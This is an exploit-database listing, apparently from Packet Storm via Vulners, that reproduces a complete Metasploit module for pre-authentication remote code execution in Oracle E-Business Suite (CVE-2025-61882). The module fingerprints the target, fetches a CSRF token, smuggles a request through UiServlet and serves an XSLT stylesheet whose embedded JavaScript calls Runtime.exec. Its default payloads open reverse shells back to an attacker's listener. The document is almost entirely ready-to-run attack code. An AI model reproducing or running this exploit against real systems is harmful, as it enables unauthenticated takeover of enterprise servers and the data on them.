Lucene search
K

📄 Oracle E-Business Suite 12.2.14 Remote Code Execution

🗓️ 08 Jul 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 16 Views

Pre-auth remote code execution in Oracle E-Business Suite 12.2.14 (CVE-2025-61882) via Oracle Applications HTML.

Related
Code
==================================================================================================================================
    | # Title     : Oracle E-Business Suite 12.2.14 Pre-Auth RCE Metasploit Module                                                   |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://www.oracle.com/applications/ebusiness/                                                                   |
    ==================================================================================================================================
    
    [+] Summary    :  pre-authentication remote code execution vulnerability in Oracle E-Business Suite (CVE-2025-61882). 
                      It targets components within the OA_HTML interface,combining multiple attack techniques such as CSRF token bypass, 
    				  HTTP request smuggling through UiServlet, and XSL transformation abuse with JavaScript engine injection.
    
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
      include Msf::Exploit::FileDropper
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Oracle E-Business Suite Pre-Auth RCE (CVE-2025-61882)',
            'Description' => %q{
              This module exploits CVE-2025-61882, a pre-authentication remote code execution
              vulnerability in Oracle E-Business Suite versions 12.2.3 through 12.2.14.
    
              The vulnerability exists in the OA_HTML help component and allows unauthenticated
              attackers to execute arbitrary commands through a combination of:
              
              1. CSRF token bypass
              2. HTTP request smuggling via the UiServlet
              3. XSL transformation with JavaScript engine injection
    
              This module provides both command execution and a full interactive shell
              through various payload delivery methods.
    
              Tested successfully on Oracle EBS 12.2.8 on Linux and Windows platforms.
            },
            'Author' => ['indoushka'],
            'References' => [
              ['CVE', '2025-61882'],
              ['URL', 'https://www.oracle.com/security-alerts/cpujan2025.html'],
              ['URL', 'https://github.com/advisories/CVE-2025-61882'],
              ['URL', 'https://attackerkb.com/topics/cve-2025-61882']
            ],
            'DisclosureDate' => '2025-01-21', 
            'License' => MSF_LICENSE,
            'Platform' => ['linux', 'win', 'unix', 'java'],
            'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD, ARCH_JAVA],
            'Targets' => [
              [
                'Linux (x86/x64)',
                {
                  'Platform' => 'linux',
                  'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
                  'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
                }
              ],
              [
                'Windows (x86/x64)',
                {
                  'Platform' => 'win',
                  'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
                  'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' }
                }
              ],
              [
                'Java (Cross-platform)',
                {
                  'Platform' => 'java',
                  'Arch' => ARCH_JAVA,
                  'DefaultOptions' => { 'PAYLOAD' => 'java/meterpreter/reverse_tcp' }
                }
              ],
              [
                'Command (Unix/Linux)',
                {
                  'Platform' => 'unix',
                  'Arch' => ARCH_CMD,
                  'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
                }
              ],
              [
                'Command (Windows)',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD,
                  'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [ CRASH_SAFE ],
              'Reliability' => [ REPEATABLE_SESSION ],
              'SideEffects' => [ IOC_IN_LOGS, CONFIG_CHANGES ]
            }
          )
        )
        register_options([
          Opt::RPORT(8000),
          OptString.new('TARGETURI', [ true, 'Base path for Oracle EBS', '/' ]),
          OptString.new('LHOST', [ true, 'Listener IP address for callback (HTTP server)' ]),
          OptString.new('LPORT', [ true, 'Listener port for callback (HTTP server)', '8080' ]),
          OptInt.new('HTTP_TIMEOUT', [ true, 'HTTP request timeout in seconds', 10 ]),
          OptEnum.new('COMMAND_MODE', [
            true, 'Command execution mode', 'DIRECT',
            ['DIRECT', 'CMD_STAGER', 'FILE_UPLOAD']
          ]),
          OptBool.new('USE_SSL', [ false, 'Use SSL for Oracle EBS connection', false ])
        ])
        register_advanced_options([
          OptInt.new('CSRF_RETRIES', [ true, 'Number of retries for CSRF token retrieval', 3 ]),
          OptInt.new('XSLT_PORT', [ false, 'Port for XSLT payload server (default: same as LPORT)', nil ]),
          OptString.new('XSLT_HOST', [ false, 'Host for XSLT payload server (default: same as LHOST)', nil ])
        ])
      end
      def check
        print_status("Checking #{peer} for Oracle EBS fingerprint...")
        fingerprints = [
          { path: '/OA_HTML/AppsLogin', pattern: /Oracle|E-Business|EBS|AppsLogin/i },
          { path: '/OA_HTML/jsp/fnd/AskUs.jsp', pattern: /Oracle|EBS/i },
          { path: '/OA_JAVA/oracle/apps/fnd/common/ClasspathServlet', pattern: /Classpath/i }
        ]
        fingerprint_found = false
        version_info = nil
        fingerprints.each do |fp|
          begin
            res = send_request_cgi({
              'method' => 'GET',
              'uri' => normalize_uri(target_uri.path, fp[:path]),
              'timeout' => datastore['HTTP_TIMEOUT']
            })
            if res && res.body && res.body.match(fp[:pattern])
              fingerprint_found = true
              print_good("Found Oracle EBS indicator at #{fp[:path]}")
              if res.body.match(/Version (\d+\.\d+\.\d+\.\d+)/i)
                version_info = Regexp.last_match(1)
              elsif res.body.match(/E-Business Suite (\d+\.\d+\.\d+)/i)
                version_info = Regexp.last_match(1)
              end
              break
            end
          rescue ::Rex::ConnectionRefused, ::Rex::ConnectionTimeout
          end
        end
        unless fingerprint_found
          return Exploit::CheckCode::Safe('Target does not appear to be Oracle EBS')
        end
        csrf_token = get_csrf_token
        if csrf_token && csrf_token.length > 0
          return Exploit::CheckCode::Appears("Oracle EBS detected with version #{version_info || 'unknown'}")
        else
          return Exploit::CheckCode::Detected("Oracle EBS detected but CSRF probe failed")
        end
      end
      def get_csrf_token
        retries = datastore['CSRF_RETRIES']
        retries.times do |attempt|
          print_status("Attempting to retrieve CSRF token (attempt #{attempt + 1}/#{retries})...")
          begin
            res = send_request_cgi({
              'method' => 'GET',
              'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'runforms.jsp'),
              'timeout' => datastore['HTTP_TIMEOUT']
            })
            if res && res.headers['Set-Cookie']
              cookies = res.headers['Set-Cookie']
              vprint_status("Received #{cookies.split(',').length} cookies")
            end
          rescue => e
            vprint_error("Error retrieving initial page: #{e.message}")
          end
          begin
            res = send_request_cgi({
              'method' => 'POST',
              'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'JavaScriptServlet'),
              'headers' => {
                'CSRF-XHR' => 'YES',
                'FETCH-CSRF-TOKEN' => '1'
              },
              'timeout' => datastore['HTTP_TIMEOUT']
            })
            if res && res.body && res.body.include?(':')
              token = res.body.split(':')[1]
              if token && token.length > 0
                print_good("CSRF token retrieved: #{token[0..15]}...")
                return token
              else
                print_error("Empty CSRF token received")
              end
            else
              print_error("Invalid CSRF response: #{res&.code || 'No response'}")
            end
          rescue => e
            print_error("Error retrieving CSRF token: #{e.message}")
          end
          sleep(1) unless attempt == retries - 1
        end
        nil
      end
      def generate_xsl_payload(command)
        if target.name =~ /Windows/
          cmd_prefix = ['cmd', '/c']
        else
          cmd_prefix = ['sh', '-c']
        end
        js_code = <<~JS
          var stringc = java.lang.Class.forName('java.lang.String');
          var cmds = java.lang.reflect.Array.newInstance(stringc, 3);
          java.lang.reflect.Array.set(cmds, 0, '#{cmd_prefix[0]}');
          java.lang.reflect.Array.set(cmds, 1, '#{cmd_prefix[1]}');
          java.lang.reflect.Array.set(cmds, 2, '#{command.gsub("'", "\\'")}');
          var runtime = java.lang.Runtime.getRuntime();
          var process = runtime.exec(cmds);
          var reader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));
          var line;
          var output = [];
          while ((line = reader.readLine()) !== null) {
            output.push(line);
          }
          var errorReader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getErrorStream()));
          while ((line = errorReader.readLine()) !== null) {
            output.push('[ERROR] ' + line);
          }
          var result = output.join('\\n');
          result || 'Command executed successfully';
        JS
        js_encoded = Rex::Text.encode_base64(js_code)
        xslt_template = <<~XSLT
          <?xml version="1.0" encoding="UTF-8"?>
          <xsl:stylesheet version="1.0"
            xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
            xmlns:b64="http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder"
            xmlns:jsm="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager"
            xmlns:eng="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine"
            xmlns:str="http://www.oracle.com/XSL/Transform/java/java.lang.String">
            <xsl:template match="/">
              <xsl:variable name="bs" select="b64:decodeBuffer(b64:new(), '#{js_encoded}')"/>
              <xsl:variable name="js" select="str:new($bs)"/>
              <xsl:variable name="m" select="jsm:new()"/>
              <xsl:variable name="e" select="jsm:getEngineByName($m, 'js')"/>
              <xsl:variable name="code" select="eng:eval($e, $js)"/>
              <xsl:value-of select="$code"/>
            </xsl:template>
          </xsl:stylesheet>
        XSLT
        xslt_template
      end
      def build_smuggle_payload(path, method = 'POST')
        smuggled_request = "#{method} #{path} HTTP/1.1\r\n"
        smuggled_request << "Host: #{datastore['LHOST']}:#{datastore['LPORT']}\r\n"
        smuggled_request << "User-Agent: #{Rex::Text.rand_text_alpha(8)}/#{rand(5..10)}.#{rand(0..9)}\r\n"
        smuggled_request << "Connection: keep-alive\r\n"
        smuggled_request << "Cookie: #{@session_cookies}\r\n" if @session_cookies
        smuggled_request << "\r\n"
        smuggled_request.chars.map { |c| "&#" + c.ord.to_s + ";" }.join
      end
      def build_ui_initialization_xml(smuggled_payload)
        xml = <<~XML
          <?xml version="1.0" encoding="UTF-8"?>
          <initialize>
            <param name="init_was_saved">test</param>
            <param name="return_url">http://#{datastore['LHOST']}:#{datastore['LPORT']}#{smuggled_payload}</param>
            <param name="ui_def_id">0</param>
            <param name="config_effective_usage_id">0</param>
            <param name="ui_type">Applet</param>
          </initialize>
        XML
        xml
      end
      def trigger_exploit(xsl_payload)
        csrf_token = get_csrf_token
        unless csrf_token
          fail_with(Failure::NoAccess, 'Failed to retrieve CSRF token')
        end
        xslt_host = datastore['XSLT_HOST'] || datastore['LHOST']
        xslt_port = datastore['XSLT_PORT'] || datastore['LPORT']
        xsl_url = "http://#{xslt_host}:#{xslt_port}/payload.xsl"
        smuggled_payload = build_smuggle_payload(xsl_url, 'GET')
        xml_payload = build_ui_initialization_xml(smuggled_payload)
        print_status("Sending exploit to #{peer}/OA_HTML/configurator/UiServlet")
        begin
          res = send_request_cgi({
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'configurator', 'UiServlet'),
            'vars_post' => {
              'redirectFromJsp' => '1',
              'getUiType' => xml_payload
            },
            'timeout' => datastore['HTTP_TIMEOUT']
          })
          if res && res.code == 200
            print_good("Exploit request accepted by target")
            return true
          else
            print_error("Unexpected response: #{res&.code || 'No response'}")
            return false
          end
        rescue ::Errno::ECONNRESET, ::Rex::ConnectionRefused
          print_warning("Connection reset - target may be processing exploit")
          return true
        rescue => e
          print_error("Error sending exploit: #{e.message}")
          return false
        end
      end
      def start_xsl_server
        xslt_host = datastore['XSLT_HOST'] || datastore['LHOST']
        xslt_port = (datastore['XSLT_PORT'] || datastore['LPORT']).to_i
        print_status("Starting XSL payload server on #{xslt_host}:#{xslt_port}")
        @xsl_server_thread = nil
        @xsl_payload_served = false
        require 'webrick'
        begin
          server = WEBrick::HTTPServer.new(
            Port: xslt_port,
            BindAddress: xslt_host,
            Logger: WEBrick::Log.new('/dev/null'),
            AccessLog: []
          )
          server.mount_proc('/payload.xsl') do |req, res|
            print_good("Received request for XSL payload from #{req.remote_ip}")
            res.status = 200
            res['Content-Type'] = 'application/xml'
            res.body = @xsl_payload
            @xsl_payload_served = true
          end
          @xsl_server_thread = Thread.new do
            server.start
          end
          server
        rescue => e
          fail_with(Failure::BadConfig, "Failed to start XSL server: #{e.message}")
        end
      end
      def execute_command(cmd, _opts = {})
        print_status("Executing command: #{cmd}")
        @xsl_payload = generate_xsl_payload(cmd)
        unless @xsl_server_thread && @xsl_server_thread.alive?
          @xsl_server = start_xsl_server
        end
        success = trigger_exploit(@xsl_payload)
        wait_time = 0
        while !@xsl_payload_served && wait_time < 30
          sleep(1)
          wait_time += 1
        end
        if success
          print_good("Command execution triggered successfully")
        else
          print_error("Command execution may have failed")
        end
      end
      def exploit
        unless check == Exploit::CheckCode::Appears
          print_error("Target does not appear to be vulnerable or accessible")
          print_error("Use 'set ForceExploit true' to override")
          return unless datastore['ForceExploit']
        end
        case datastore['COMMAND_MODE']
        when 'DIRECT'
          print_status("Direct command execution mode")
          cmd = payload.encoded
          if payload.is_a?(Msf::Payload::Command)
            execute_command(cmd)
          else
            print_status("Using cmdstager for binary payload")
            execute_cmdstager
          end
        when 'CMD_STAGER'
          print_status("Using cmdstager payload delivery")
          execute_cmdstager
        when 'FILE_UPLOAD'
          print_status("File upload mode - not implemented yet")
          fail_with(Failure::NoTarget, 'File upload mode requires additional development')
        end
        print_status("Exploit completed. Waiting for callback...")
        print_status("Press Ctrl+C to stop")
        begin
          sleep(1) while @xsl_server_thread&.alive?
        rescue Interrupt
          print_status("Shutting down XSL server...")
          @xsl_server.shutdown if @xsl_server
        end
      end
      def cleanup
        super
        if @xsl_server
          print_status("Shutting down XSL server...")
          @xsl_server.shutdown if @xsl_server.respond_to?(:shutdown)
        end
      end
    end
    	
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation